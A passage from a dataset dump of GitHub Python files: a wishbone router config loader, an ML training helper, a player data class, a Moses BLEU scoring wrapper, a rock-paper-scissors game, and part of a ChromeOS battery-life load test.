6 -%}\n \\x1B[1;37m\n {%- else -%}\n \\x1B[1;37m\n {%- endif -%}\n {{strftime(epoch(), \"YYYY-MM-DDTHH:mm:ss.SSSSZZ\")}} {{data.identification}}[{{data.pid}}] {{data.txt_level}} {{data.module}}: {{data.message}}\\x1B[0m'''\n\n\nclass ConfigFile(object):\n '''\n Generates a wishbone.router configuration object used to initialize a\n wishbone router object.\n\n This config generator has some tailered functionality which makes it\n suitable when bootstrapping from CLI.\n\n It does following automatic configurations:\n\n - Initializes a ``wishbone.module.flow.funnel`` module called ``_logs``\n which is connected to the ``_logs`` queue of all modules except if\n this module has already been connected in the bootstrap file.\n\n - Initializes a ``wishbone.module.flow.funnel`` module called ``_metrics``\n which is connected to the ``_metrics`` queue of all modules except if\n this module has already been connected in the bootstrap file. The\n ``_metrics`` modules is by default not connected to any other\n modules. The effect of this is that all metrics are dropped unless\n the user connects a module for furhter processing the metrics.\n\n - Adds a ``wishbone.module.flow.queueselect`` module called\n ``_logs_filter`` responsible for dropping logs which log level do\n not correspond to the define ``--log-level``\n\n - Adds either a ``wishbone.module.output.stdout`` called\n ``_logs_stdout`` module or ``wishbone.module.output.syslog`` module\n called ``_logs_syslog`` and connects this instance to\n ``_logs.outbox``.\n\n - Initializes the following template functions and makes them\n available to each initialized module::\n\n - strftime()\n - env()\n - epoch()\n - version()\n\n Args:\n filename (str): The filename of the configuration to load.\n logstyle (str): How logging should be setup. Possible options are: stdout and syslog.\n loglevel (str): The loglevel for the router to use to use.\n identification (str): A string which identifies the router instance\n colorize_stdout (bool): When True, colors each stdout printed logline using proper coloring.\n '''\n\n def __init__(self, filename, logstyle, loglevel=6, identification=\"wishbone\", colorize_stdout=True):\n self.identification = identification\n self.colorize_stdout = colorize_stdout\n self.logstyle = logstyle\n self.loglevel = loglevel\n self.config = EasyDict({\n \"template_functions\": EasyDict({}),\n \"modules\": EasyDict({}),\n \"module_functions\": EasyDict({}),\n \"protocols\": EasyDict({}),\n \"routingtable\": []\n })\n self.__addLogFunnel()\n self.__addLogFilter()\n self.__addMetricFunnel()\n self.load(filename)\n\n def addModule(self, name, module, arguments={}, description=\"\", functions={}, protocol=None, event=False):\n '''\n Adds a module to the configuration.\n\n Args:\n name (str): The module instance name\n module (str): The module name\n arguments (dict): The module variables\n description (str): A description of the module instance\n functions (dict): The module functions\n protocol (str): The protocol to apply to the module\n event (bool): Whether incoming or outgoing events need to be treated as full events.\n '''\n\n if name.startswith('_'):\n raise Exception(\"Module instance names cannot start with _.\")\n\n self.__addModule(name, module, arguments, description, functions, protocol, event)\n\n def addTemplateFunction(self, name, function, arguments={}):\n '''Adds a template funtion to the configuration.\n\n Args:\n name (str): The name of the function instance\n function (str): The entry point name of the function\n arguments (dict): The arguments to initiate the function class.\n '''\n\n if name not in self.config[\"template_functions\"]:\n self.config[\"template_functions\"][name] = EasyDict({\n \"function\": function,\n \"arguments\": arguments\n })\n else:\n raise Exception(\"Lookup instance name '%s' is already taken.\" % (name))\n\n def addModuleFunction(self, name, function, arguments={}):\n '''\n Adds a module function to the configuration.\n\n Args:\n name (str): The name of the function instance\n function (str): The entry point name of the function\n arguments (dict): The arguments to initiate the function class.\n '''\n\n self.config[\"module_functions\"][name] = EasyDict({\"function\": function, \"arguments\": arguments})\n\n def addProtocol(self, name, protocol, arguments={}):\n '''\n Adds a protocol to the configuration\n\n Args:\n name (str): The name of the protocol instance\n protcol (str): The entry point name of the protocol\n arguments (dict): The arguments to initiate the protocol class.\n '''\n\n self.config[\"protocols\"][name] = EasyDict({\"protocol\": protocol, \"arguments\": arguments})\n\n def addConnection(self, source_module, source_queue, destination_module, destination_queue):\n '''\n Adds connections between module queues.\n\n Args:\n source_module (str): The source module instance name\n source_queue (str): The source module instance queue name\n destination_module (str): The destination instance name\n destination_queue (str): The destination instance queue name\n '''\n connected = self.__queueConnected(source_module, source_queue)\n\n if not connected:\n self.config[\"routingtable\"].append(\n EasyDict({\n \"source_module\": source_module,\n \"source_queue\": source_queue,\n \"destination_module\": destination_module,\n \"destination_queue\": destination_queue\n })\n )\n else:\n raise Exception(\"Cannot connect '%s.%s' to '%s.%s'. Reason: %s.\" % (source_module, source_queue, destination_module, destination_queue, connected))\n\n def dump(self):\n '''\n Dumps the configuration as an ``EasyDict`` instance.\n '''\n\n return EasyDict(self.config)\n\n def load(self, filename):\n '''\n Loads a YAML bootstrap file.\n\n Args:\n filename (str): The filename to load.\n '''\n\n config = self.__load(filename)\n self.__validate(config)\n self.__validateRoutingTable(config)\n\n self.__addDefaultTemplateFunctions()\n\n if \"template_functions\" in config:\n for function in config[\"template_functions\"]:\n self.addTemplateFunction(name=function, **config[\"template_functions\"][function])\n\n if \"module_functions\" in config:\n for function in config[\"module_functions\"]:\n self.addModuleFunction(name=function, **config[\"module_functions\"][function])\n\n if \"protocols\" in config:\n for protocol in config[\"protocols\"]:\n self.addProtocol(\n name=protocol,\n protocol=config[\"protocols\"][protocol].get(\"protocol\", None),\n arguments=config[\"protocols\"][protocol].get(\"arguments\", {}),\n )\n\n for module in config[\"modules\"]:\n self.addModule(name=module, **config[\"modules\"][module])\n\n for route in config[\"routingtable\"]:\n sm, sq, dm, dq = self.__splitRoute(route)\n self.addConnection(sm, sq, dm, dq)\n\n getattr(self, \"_setupLogging%s\" % (self.logstyle.upper()))()\n\n def __addDefaultTemplateFunctions(self):\n '''\n Adds template functions which should be available for each module.\n '''\n\n self.addTemplateFunction(\"strftime\", \"wishbone.function.template.strftime\")\n self.addTemplateFunction(\"epoch\", \"wishbone.function.template.epoch\")\n self.addTemplateFunction(\"env\", \"wishbone.function.template.environment\")\n self.addTemplateFunction(\"version\", \"wishbone.function.template.version\")\n\n def __addModule(self, name, module, arguments={}, description=\"\", functions={}, protocol=None, event=False):\n\n if protocol is not None and protocol not in self.config.protocols:\n raise Exception(\"No protocol module defined with name '%s' for module instance '%s'\" % (protocol, name))\n\n for queue, fs in functions.items():\n for function in fs:\n if function not in self.config.module_functions.keys():\n raise Exception(\"No function defined with name '%s' for module instance '%s'.\" % (function, name))\n\n if name not in self.config[\"modules\"]:\n self.config[\"modules\"][name] = EasyDict({\n 'description': description,\n 'module': module,\n 'arguments': arguments,\n 'functions': functions,\n 'protocol': protocol,\n 'event': event})\n self.addConnection(name, \"_logs\", \"_logs\", \"_%s\" % (name))\n self.addConnection(name, \"_metrics\", \"_metrics\", \"_%s\" % (name))\n\n else:\n raise Exception(\"Module instance name '%s' is already taken.\" % (name))\n\n def __queueConnected(self, module, queue):\n\n for c in self.config[\"routingtable\"]:\n if (c[\"source_module\"] == module and c[\"source_queue\"] == queue) or (c[\"destination_module\"] == module and c[\"destination_queue\"] == queue):\n return \"Queue '%s.%s' is already connected to '%s.%s'\" % (c[\"source_module\"], c[\"source_queue\"], c[\"destination_module\"], c[\"destination_queue\"])\n return False\n\n def __splitRoute(self, route):\n\n (source, destination) = route.split('->')\n (source_module, source_queue) = source.rstrip().lstrip().split('.')\n (destination_module, destination_queue) = destination.rstrip().lstrip().split('.')\n return source_module, source_queue, destination_module, destination_queue\n\n def __load(self, filename):\n '''Loads and returns the yaml bootstrap file.'''\n\n try:\n with open(filename, 'r') as f:\n config = yaml.load(f)\n except Exception as err:\n raise Exception(\"Failed to load bootstrap file. Reason: %s\" % (err))\n else:\n return config\n\n def __validate(self, config):\n\n try:\n validate(config, SCHEMA)\n except Exception as err:\n raise Exception(\"Failed to validate configuration file. Reason: %s\" % (err.message))\n\n def __validateRoutingTable(self, config):\n\n for route in config[\"routingtable\"]:\n (left, right) = route.split(\"->\")\n assert \".\" in left.lstrip().rstrip(), \"routingtable rule \\\"%s\\\" does not have the right format. Missing a dot.\" % (route)\n assert \".\" in right.lstrip().rstrip(), \"routingtable rule \\\"%s\\\" does not have the right format. Missing a dot.\" % (route)\n\n def __addLogFilter(self):\n\n self.__addModule(\n name=\"_logs_filter\",\n module=\"wishbone.module.flow.queueselect\",\n arguments={\n \"templates\": [\n {\"name\": \"log_filter\",\n \"queue\": LOG_FILTER_TEMPLATE.format(loglevel=self.loglevel)\n }\n ]\n },\n description=\"Centralizes the logs of all modules.\",\n functions={\n },\n protocol=None\n )\n\n def __addLogFunnel(self):\n\n self.__addModule(\n name=\"_logs\",\n module=\"wishbone.module.flow.funnel\",\n arguments={\n },\n description=\"Centralizes the logs of all modules.\",\n functions={\n },\n protocol=None\n )\n\n def __addMetricFunnel(self):\n\n self.__addModule(\n name=\"_metrics\",\n module=\"wishbone.module.flow.funnel\",\n arguments={\n },\n description=\"Centralizes the metrics of all modules.\",\n functions={\n },\n protocol=None\n )\n\n def _setupLoggingSTDOUT(self):\n\n if not self.__queueConnected(\"_logs\", \"outbox\"):\n\n self.__addModule(\n name=\"_logs_format\",\n module=\"wishbone.module.process.template\",\n arguments={\n \"templates\": {\n \"human_log\": LOG_COLOR_TEMPLATE\n }\n },\n description=\"Create a human readable log format.\",\n functions={\n },\n protocol=None\n )\n\n self.addConnection(\"_logs\", \"outbox\", \"_logs_filter\", \"inbox\")\n self.addConnection(\"_logs_filter\", \"pass\", \"_logs_format\", \"inbox\")\n\n self.__addModule(\n name=\"_logs_stdout\",\n module=\"wishbone.module.output.stdout\",\n arguments={\n \"colorize\": self.colorize_stdout,\n \"selection\": \"human_log\"\n },\n description=\"Prints all incoming logs to STDOUT.\",\n functions={\n },\n protocol=None\n )\n self.addConnection(\"_logs_format\", \"outbox\", \"_logs_stdout\", \"inbox\")\n\n def _setupLoggingSYSLOG(self):\n\n if not self.__queueConnected(\"_logs\", \"outbox\"):\n\n self.__addModule(\n name=\"_logs_syslog\",\n module=\"wishbone.module.output.syslog\",\n arguments={\n \"ident\": self.identification,\n \"payload\": \"module({{data.module}}): {{data.message}}\"\n },\n description=\"Writes all incoming messages to syslog.\",\n functions={\n },\n protocol=None\n )\n\n self.addConnection(\"_logs\", \"outbox\", \"_logs_filter\", \"inbox\")\n self.addConnection(\"_logs_filter\", \"pass\", \"_logs_syslog\", \"inbox\")\n","repo_name":"smetj/wishbone","sub_path":"wishbone/config/configfile.py","file_name":"configfile.py","file_ext":"py","file_size_in_byte":14836,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"82"} +{"seq_id":"21392794694","text":"from utils import read_data\n\nfrom sklearn.model_selection import train_test_split\nfrom hft_model import test_model\n\n\ndef train_regressor(regressor, save_path, log):\n train, test = train_test_split(\n read_data(percentage=None, sample_from_start=True),\n test_size=0.05,\n shuffle=False\n )\n val, test = train_test_split(test, test_size=0.5, shuffle=False)\n\n regressor.fit(train, val)\n regressor.save(save_path)\n\n for df_name, df in [\n ('test', test),\n ('val', val),\n ]:\n log.info(f'r2_score({df_name}): {test_model(regressor, df)}')\n","repo_name":"galqiwi/contest_ysda_ml2_hft","sub_path":"train_scripts/train_utils.py","file_name":"train_utils.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9886018502","text":"\"\"\"\nThis class describes a player card.\n\"\"\"\n\nimport pandas as pd\n\n\nPANDAS_PLAYER_CONVERSION_MAP = {\n \"player_id\": \"player_id\",\n \"overall\": \"overall\",\n \"club\": \"club\",\n \"league\": \"league\",\n \"nationality\": \"nationality\",\n \"position\": \"position\",\n \"metal\": \"metal\",\n \"is_rare\": \"is_rare\",\n \"price\": \"price\",\n \"base_id\": \"base_id\"\n}\n\n\nPLAYER_PANDAS_CONVERSION_MAP =\\\n {value: key for key, value in PANDAS_PLAYER_CONVERSION_MAP.items()}\n\n\nclass Player:\n\n def __init__(self, player_id, overall, club, league, nationality, position,\n metal, is_rare, price, base_id, base=None):\n self.player_id = player_id\n self.overall = overall\n self.club = club\n self.league = league\n self.nationality = nationality\n self.position = position\n self.metal = metal\n self.is_rare = is_rare\n self.price = price\n self.base_id = base_id\n self.base = base\n\n def __repr__(self):\n repr = \"{}(player_id={}, overall={}, club={}, league={}, \\\n nationality={}, position={}, price={}, base={})\"\\\n .format(self.__class__.__name__, self.player_id, self.overall, self.club, self.league,\n self.nationality, self.position, self.price, self.base)\n return repr\n\n @staticmethod\n def _from_pandas(pandas_player):\n return Player(**pandas_player[PANDAS_PLAYER_CONVERSION_MAP.keys()]\n .rename(PANDAS_PLAYER_CONVERSION_MAP).to_dict())\n\n def _to_pandas(self):\n return pd.Series(self.__dict__)[PLAYER_PANDAS_CONVERSION_MAP.keys()]\\\n .rename(PLAYER_PANDAS_CONVERSION_MAP)\n","repo_name":"janjagusch/nsga2","sub_path":"nsga2/examples/fifa_ultimate_team/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"31030263078","text":"import os\nimport re\nimport subprocess\nimport numpy as np\nimport tensorflow as tf\n\n\ndef moses_multi_bleu(hypotheses, references, path, lowercase=False):\n \"\"\"Calculate the bleu score for hypotheses and references\n using the MOSES ulti-bleu.perl script.\n\n Args:\n hypotheses: A numpy array of strings where each string is a single example.\n references: A numpy array of strings where each string is a single example.\n lowercase: If true, pass the \"-lc\" flag to the multi-bleu script\n\n Returns:\n The BLEU score as a float32 value.\n \"\"\"\n\n if np.size(hypotheses) == 0:\n return np.float32(0.0)\n\n # Alternatively, get file locally\n training_dir = os.path.dirname(os.path.realpath(__file__))\n multi_bleu_path = os.path.join(training_dir, \"multi-bleu.perl\")\n\n hypothesis_name = os.path.join(path, \"hypothesis.txt\")\n reference_name = os.path.join(path, \"reference.txt\")\n with open(hypothesis_name, 'w', encoding='utf8') as hypothesis_file:\n hypothesis_file.write(\"\\n\".join(hypotheses))\n with open(reference_name, 'w', encoding='utf8') as reference_file:\n reference_file.write(\"\\n\".join(references))\n\n # Calculate BLEU using multi-bleu script\n with open(hypothesis_name, \"r\", encoding='utf8') as read_pred:\n # bleu_cmd = [\"c:/perl64/bin/perl\"]\n bleu_cmd = [\"perl\"]\n bleu_cmd += [multi_bleu_path]\n if lowercase:\n bleu_cmd += [\"-lc\"]\n bleu_cmd += [reference_name]\n try:\n bleu_out = subprocess.check_output(\n bleu_cmd, stdin=read_pred, stderr=subprocess.STDOUT)\n bleu_out = bleu_out.decode(\"utf-8\")\n bleu_score = re.search(r\"BLEU = (.+?),\", bleu_out).group(1)\n bleu_score = float(bleu_score)\n except subprocess.CalledProcessError as error:\n if error.output is not None:\n tf.logging.warning(\"multi-bleu.perl script returned non-zero exit code\")\n tf.logging.warning(error.output)\n bleu_score = np.float32(0.0)\n\n return np.float32(bleu_score)\n","repo_name":"wyb330/nmt","sub_path":"utils/bleu_moses.py","file_name":"bleu_moses.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21952941544","text":"import random\n\n# 0: rock\n# 1: paper\n# 2: scissors\nrps = ['rock', 'paper', 'scissors']\n\ncpu = random.randint(0, 2)\n\nuser = str.lower(input('Rock, paper, or scissors?'))\nuser = rps.index(user)\n\nprint('Computer: ', rps[cpu])\nprint('User: ', rps[user])\n\n# if it is a tie\nif ((cpu == 0) & (user == 0)) | ((cpu == 1) & (user == 1)) | ((cpu == 2) & (user == 2)):\n print('It was a tie!')\n exit()\n# if the computer wins\nelif ((cpu == 1) & (user == 0)) | ((cpu == 0) & (user == 2)) | ((cpu == 2) & (user == 1)):\n print('Computer wins!')\nelse:\n print('User wins!')\n","repo_name":"newtykins/the-honk","sub_path":"school/gcse/year 9/python challenges/10 - RPS.py","file_name":"10 - RPS.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"15063267730","text":"import collections\nimport json\nimport logging\nimport numpy\nimport os\nimport re\nimport time\n\nfrom autotest_lib.client.bin import utils\nfrom autotest_lib.client.common_lib import error\nfrom autotest_lib.client.common_lib import utils as _utils\nfrom autotest_lib.client.common_lib.cros import arc\nfrom autotest_lib.client.common_lib.cros import arc_common\nfrom autotest_lib.client.common_lib.cros import chrome\nfrom autotest_lib.client.common_lib.cros import power_load_util\nfrom autotest_lib.client.common_lib.cros.network import interface\nfrom autotest_lib.client.common_lib.cros.network import xmlrpc_datatypes\nfrom autotest_lib.client.common_lib.cros.network import xmlrpc_security_types\nfrom autotest_lib.client.cros import backchannel\nfrom autotest_lib.client.cros import ec\nfrom autotest_lib.client.cros import httpd\nfrom autotest_lib.client.cros import memory_bandwidth_logger\nfrom autotest_lib.client.cros import service_stopper\nfrom autotest_lib.client.cros.audio import audio_helper\nfrom autotest_lib.client.cros.networking import cellular_proxy\nfrom autotest_lib.client.cros.networking import shill_proxy\nfrom autotest_lib.client.cros.networking import wifi_proxy\nfrom autotest_lib.client.cros.power import power_dashboard\nfrom autotest_lib.client.cros.power import power_status\nfrom autotest_lib.client.cros.power import power_utils\nfrom telemetry.core import exceptions\n\nparams_dict = {\n 'test_time_ms': '_mseconds',\n 'should_scroll': '_should_scroll',\n 'should_scroll_up': '_should_scroll_up',\n 'scroll_loop': '_scroll_loop',\n 'scroll_interval_ms': '_scroll_interval_ms',\n 'scroll_by_pixels': '_scroll_by_pixels',\n 'tasks': '_tasks',\n}\n\nclass power_LoadTest(arc.ArcTest):\n \"\"\"test class\"\"\"\n version = 2\n\n def initialize(self, percent_initial_charge_min=None,\n check_network=True, loop_time=3600, loop_count=1,\n should_scroll='true', should_scroll_up='true',\n scroll_loop='false', scroll_interval_ms='10000',\n scroll_by_pixels='600', test_low_batt_p=3,\n verbose=True, force_wifi=False, wifi_ap='', wifi_sec='none',\n wifi_pw='', wifi_timeout=60, use_cellular_network=False,\n tasks='', volume_level=10, mic_gain=10, low_batt_margin_p=2,\n ac_ok=False, log_mem_bandwidth=False, gaia_login=None,\n force_discharge=False, pdash_note=''):\n \"\"\"\n percent_initial_charge_min: min battery charge at start of test\n check_network: check that Ethernet interface is not running\n loop_time: length of time to run the test for in each loop\n loop_count: number of times to loop the test for\n should_scroll: should the extension scroll pages\n should_scroll_up: should scroll in up direction\n scroll_loop: continue scrolling indefinitely\n scroll_interval_ms: how often to scoll\n scroll_by_pixels: number of pixels to scroll each time\n test_low_batt_p: percent battery at which test should stop\n verbose: add more logging information\n force_wifi: should we force to test to run on wifi\n wifi_ap: the name (ssid) of the wifi access point\n wifi_sec: the type of security for the wifi ap\n wifi_pw: password for the wifi ap\n wifi_timeout: The timeout for wifi configuration\n use_cellular_network: use the cellular network connection instead of wifi\n volume_level: percent audio volume level\n mic_gain: percent audio microphone gain level\n low_batt_margin_p: percent low battery margin to be added to\n sys_low_batt_p to guarantee test completes prior to powerd shutdown\n ac_ok: boolean to allow running on AC\n log_mem_bandwidth: boolean to log memory bandwidth during the test\n gaia_login: whether real GAIA login should be attempted. If 'None'\n (default) then boolean is determined from URL.\n force_discharge: boolean of whether to tell ec to discharge battery even\n when the charger is plugged in.\n pdash_note: note of the current run to send to power dashboard.\n \"\"\"\n self._backlight = None\n self._services = None\n self._browser = None\n self._loop_time = loop_time\n self._loop_count = loop_count\n self._mseconds = self._loop_time * 1000\n self._verbose = verbose\n\n self._sys_low_batt_p = 0.\n self._sys_low_batt_s = 0.\n self._test_low_batt_p = test_low_batt_p\n self._should_scroll = should_scroll\n self._should_scroll_up = should_scroll_up\n self._scroll_loop = scroll_loop\n self._scroll_interval_ms = scroll_interval_ms\n self._scroll_by_pixels = scroll_by_pixels\n self._tmp_keyvals = {}\n self._power_status = None\n self._force_wifi = force_wifi\n self._use_cellular_network = use_cellular_network\n self._testServer = None\n self._tasks = tasks.replace(' ','')\n self._backchannel = None\n self._shill_proxy = None\n self._volume_level = volume_level\n self._mic_gain = mic_gain\n self._ac_ok = ac_ok\n self._log_mem_bandwidth = log_mem_bandwidth\n self._wait_time = 60\n self._stats = collections.defaultdict(list)\n self._force_discharge = force_discharge\n self._pdash_note = pdash_note\n\n self._power_status = power_status.get_status()\n\n if force_discharge:\n if not self._power_status.battery:\n raise error.TestNAError('DUT does not have battery. '\n 'Could not force discharge.')\n if not ec.has_cros_ec():\n raise error.TestNAError('DUT does not have CrOS EC. '\n 'Could not force discharge.')\n if not power_utils.charge_control_by_ectool(False):\n raise error.TestError('Could not run battery force discharge.')\n self._ac_ok = True\n\n if not self._power_status.battery:\n if ac_ok and (power_utils.has_powercap_support() or\n power_utils.has_rapl_support()):\n logging.info(\"Device has no battery but has powercap data.\")\n else:\n rsp = \"Skipping test for device without battery and powercap.\"\n raise error.TestNAError(rsp)\n\n self._tmp_keyvals['b_on_ac'] = (not force_discharge and\n self._power_status.on_ac())\n\n self._gaia_login = gaia_login\n if gaia_login is None:\n self._gaia_login = power_load_util.use_gaia_login()\n\n self._username = power_load_util.get_username()\n self._password = power_load_util.get_password()\n\n if not self._ac_ok:\n self._power_status.assert_battery_state(percent_initial_charge_min)\n\n # If force wifi enabled, convert eth0 to backchannel and connect to the\n # specified WiFi AP.\n if self._force_wifi:\n if self._use_cellular_network:\n raise error.TestError(\"Can't force WiFi AP when cellular network\"\n \"is used\");\n\n sec_config = None\n # TODO(dbasehore): Fix this when we get a better way of figuring out\n # the wifi security configuration.\n if wifi_sec == 'rsn' or wifi_sec == 'wpa':\n sec_config = xmlrpc_security_types.WPAConfig(\n psk=wifi_pw,\n wpa_mode=xmlrpc_security_types.WPAConfig.MODE_PURE_WPA2,\n wpa2_ciphers=\n [xmlrpc_security_types.WPAConfig.CIPHER_CCMP])\n wifi_config = xmlrpc_datatypes.AssociationParameters(\n ssid=wifi_ap, security_config=sec_config,\n configuration_timeout=wifi_timeout)\n # If backchannel is already running, don't run it again.\n self._backchannel = backchannel.Backchannel()\n if not self._backchannel.setup():\n raise error.TestError('Could not setup Backchannel network.')\n\n self._shill_proxy = wifi_proxy.WifiProxy()\n self._shill_proxy.remove_all_wifi_entries()\n for i in xrange(1,4):\n raw_output = self._shill_proxy.connect_to_wifi_network(\n wifi_config.ssid,\n wifi_config.security,\n wifi_config.security_parameters,\n wifi_config.save_credentials,\n station_type=wifi_config.station_type,\n hidden_network=wifi_config.is_hidden,\n discovery_timeout_seconds=\n wifi_config.discovery_timeout,\n association_timeout_seconds=\n wifi_config.association_timeout,\n configuration_timeout_seconds=\n wifi_config.configuration_timeout * i)\n result = xmlrpc_datatypes.AssociationResult. \\\n from_dbus_proxy_output(raw_output)\n if result.success:\n break\n logging.warn('wifi connect: disc:%d assoc:%d config:%d fail:%s',\n result.discovery_time, result.association_time,\n result.configuration_time, result.failure_reason)\n else:\n raise error.TestError('Could not connect to WiFi network.')\n\n else:\n # Find all wired ethernet interfaces.\n ifaces = [ iface for iface in interface.get_interfaces()\n if (not iface.is_wifi_device() and\n iface.name.startswith('eth')) ]\n logging.debug(str([iface.name for iface in ifaces]))\n for iface in ifaces:\n if check_network and iface.is_lower_up:\n raise error.TestError('Ethernet interface is active. ' +\n 'Please remove Ethernet cable')\n\n if self._use_cellular_network:\n self._shill_proxy = cellular_proxy.CellularProxy()\n cdev = self._shill_proxy.find_cellular_device_object()\n if cdev is None:\n raise error.TestError(\"No cellular device found\")\n\n self._shill_proxy.manager.DisableTechnology(\n shill_proxy.ShillProxy.TECHNOLOGY_WIFI)\n\n self._shill_proxy.wait_for_cellular_service_object()\n\n # record the max backlight level\n self._backlight = power_utils.Backlight()\n self._tmp_keyvals['level_backlight_max'] = \\\n self._backlight.get_max_level()\n\n self._services = service_stopper.ServiceStopper(\n service_stopper.ServiceStopper.POWER_DRAW_SERVICES)\n self._services.stop_services()\n\n self._detachable_handler = power_utils.BaseActivitySimulator()\n\n # fix up file perms for the power test extension so that chrome\n # can access it\n os.system('chmod -R 755 %s' % self.bindir)\n\n # setup a HTTP Server to listen for status updates from the power\n # test extension\n self._testServer = httpd.HTTPListener(8001, docroot=self.bindir)\n self._testServer.run()\n\n # initialize various interesting power related stats\n self._statomatic = power_status.StatoMatic()\n\n self._power_status.refresh()\n self._sys_low_batt_p = float(utils.system_output(\n 'check_powerd_config --low_battery_shutdown_percent'))\n self._sys_low_batt_s = int(utils.system_output(\n 'check_powerd_config --low_battery_shutdown_time'))\n\n if self._sys_low_batt_p and self._sys_low_batt_s:\n raise error.TestError(\n \"Low battery percent and seconds are non-zero.\")\n\n min_low_batt_p = min(self._sys_low_batt_p + low_batt_margin_p, 100)\n if self._sys_low_batt_p and (min_low_batt_p > self._test_low_batt_p):\n logging.warning(\"test low battery threshold is below system \" +\n \"low battery requirement. Setting to %f\",\n min_low_batt_p)\n self._test_low_batt_p = min_low_batt_p\n\n if self._power_status.battery:\n self._ah_charge_start = self._power_status.battery.charge_now\n self._wh_energy_start = self._power_status.battery.energy\n\n self.task_monitor_file = open(os.path.join(self.resultsdir,\n 'task-monitor.json'), 'wt')\n\n\n def run_once(self):\n \"\"\"Test main loop.\"\"\"\n t0 = time.time()\n\n # record the PSR related info.\n psr = power_utils.DisplayPanelSelfRefresh(init_time=t0)\n\n try:\n self._keyboard_backlight = power_utils.KbdBacklight()\n self._set_keyboard_backlight_level()\n except power_utils.KbdBacklightException as e:\n logging.info(\"Assuming no keyboard backlight due to :: %s\", str(e))\n self._keyboard_backlight = None\n\n self._checkpoint_logger = power_status.CheckpointLogger()\n seconds_period = 20.0\n self._meas_logs = power_status.create_measurement_loggers(\n seconds_period, self._checkpoint_logger)\n for log in self._meas_logs:\n log.start()\n if self._log_mem_bandwidth:\n self._mlog = memory_bandwidth_logger.MemoryBandwidthLogger(\n raw=False, seconds_period=2)\n self._mlog.start()\n\n # record start time and end time for each task\n self._task_tracker = []\n\n ext_path = os.path.join(os.path.dirname(__file__), 'extension')\n self._tmp_keyvals['username'] = self._username\n\n arc_mode = arc_common.ARC_MODE_DISABLED\n if utils.is_arc_available():\n arc_mode = arc_common.ARC_MODE_ENABLED\n\n try:\n self._browser = chrome.Chrome(extension_paths=[ext_path],\n gaia_login=self._gaia_login,\n username=self._username,\n password=self._password,\n arc_mode=arc_mode)\n except exceptions.LoginException:\n # already failed guest login\n if not self._gaia_login:\n raise\n self._gaia_login = False\n logging.warn(\"Unable to use GAIA acct %s. Using GUEST instead.\\n\",\n self._username)\n self._browser = chrome.Chrome(extension_paths=[ext_path],\n gaia_login=self._gaia_login)\n if not self._gaia_login:\n self._tmp_keyvals['username'] = 'GUEST'\n\n extension = self._browser.get_extension(ext_path)\n for k in params_dict:\n if getattr(self, params_dict[k]) is not '':\n extension.ExecuteJavaScript('var %s = %s;' %\n (k, getattr(self, params_dict[k])))\n\n # This opens a trap start page to capture tabs opened for first login.\n # It will be closed when startTest is run.\n extension.ExecuteJavaScript('chrome.windows.create(null, null);')\n\n for i in range(self._loop_count):\n start_time = time.time()\n extension.ExecuteJavaScript('startTest();')\n # the power test extension will report its status here\n latch = self._testServer.add_wait_url('/status')\n\n # this starts a thread in the server that listens to log\n # information from the script\n script_logging = self._testServer.add_wait_url(url='/log')\n\n # dump any log entry that comes from the script into\n # the debug log\n self._testServer.add_url_handler(url='/log',\\\n handler_func=(lambda handler, forms, loop_counter=i:\\\n _extension_log_handler(handler, forms, loop_counter)))\n\n pagetime_tracking = self._testServer.add_wait_url(url='/pagetime')\n\n self._testServer.add_url_handler(url='/pagetime',\\\n handler_func=(lambda handler, forms, test_instance=self,\n loop_counter=i:\\\n _extension_page_time_info_handler(handler, forms,\n loop_counter,\n test_instance)))\n\n keyvalues_tracking = self._testServer.add_wait_url(url='/keyvalues')\n\n self._testServer.add_url_handler(url='/keyvalues',\\\n handler_func=(lambda handler, forms, test_instance=self,\n loop_counter=i:\\\n _extension_key_values_handler(handler, forms,\n loop_counter,\n test_instance)))\n self._testServer.add_url(url='/task-monitor')\n self._testServer.add_url_handler(\n url='/task-monitor',\n handler_func=lambda handler, forms:\n self._extension_task_monitor_handler(handler, forms)\n )\n\n # setup a handler to simulate waking up the base of a detachable\n # on user interaction. On scrolling, wake for 1s, on page\n # navigation, wake for 10s.\n self._testServer.add_url(url='/pagenav')\n self._testServer.add_url(url='/scroll')\n\n self._testServer.add_url_handler(url='/pagenav',\n handler_func=(lambda handler, args, plt=self:\n plt._detachable_handler.wake_base(10000)))\n\n self._testServer.add_url_handler(url='/scroll',\n handler_func=(lambda handler, args, plt=self:\n plt._detachable_handler.wake_base(1000)))\n # reset backlight level since powerd might've modified it\n # based on ambient light\n self._set_backlight_level(i)\n self._set_lightbar_level()\n if self._keyboard_backlight:\n self._set_keyboard_backlight_level(loop=i)\n audio_helper.set_volume_levels(self._volume_level,\n self._mic_gain)\n\n low_battery = self._do_wait(self._verbose, self._loop_time,\n latch)\n script_logging.set()\n pagetime_tracking.set()\n keyvalues_tracking.set()\n\n self._log_loop_checkpoint(i, start_time, time.time())\n\n if self._verbose:\n logging.debug('loop %d completed', i)\n\n if low_battery:\n logging.info('Exiting due to low battery')\n break\n\n # done with logging from the script, so we can collect that thread\n t1 = time.time()\n psr.refresh()\n self._tmp_keyvals['minutes_battery_life_tested'] = (t1 - t0) / 60\n self._tmp_keyvals.update(psr.get_keyvals())\n\n\n def postprocess_iteration(self):\n \"\"\"Postprocess: write keyvals / log and send data to power dashboard.\"\"\"\n def _log_stats(prefix, stats):\n if not len(stats):\n return\n np = numpy.array(stats)\n logging.debug(\"%s samples: %d\", prefix, len(np))\n logging.debug(\"%s mean: %.2f\", prefix, np.mean())\n logging.debug(\"%s stdev: %.2f\", prefix, np.std())\n logging.debug(\"%s max: %.2f\", prefix, np.max())\n logging.debug(\"%s min: %.2f\", prefix, np.min())\n\n\n def _log_per_loop_stats():\n samples_per_loop = self._loop_time / self._wait_time + 1\n for kname in self._stats:\n start_idx = 0\n loop = 1\n for end_idx in xrange(samples_per_loop, len(self._stats[kname]),\n 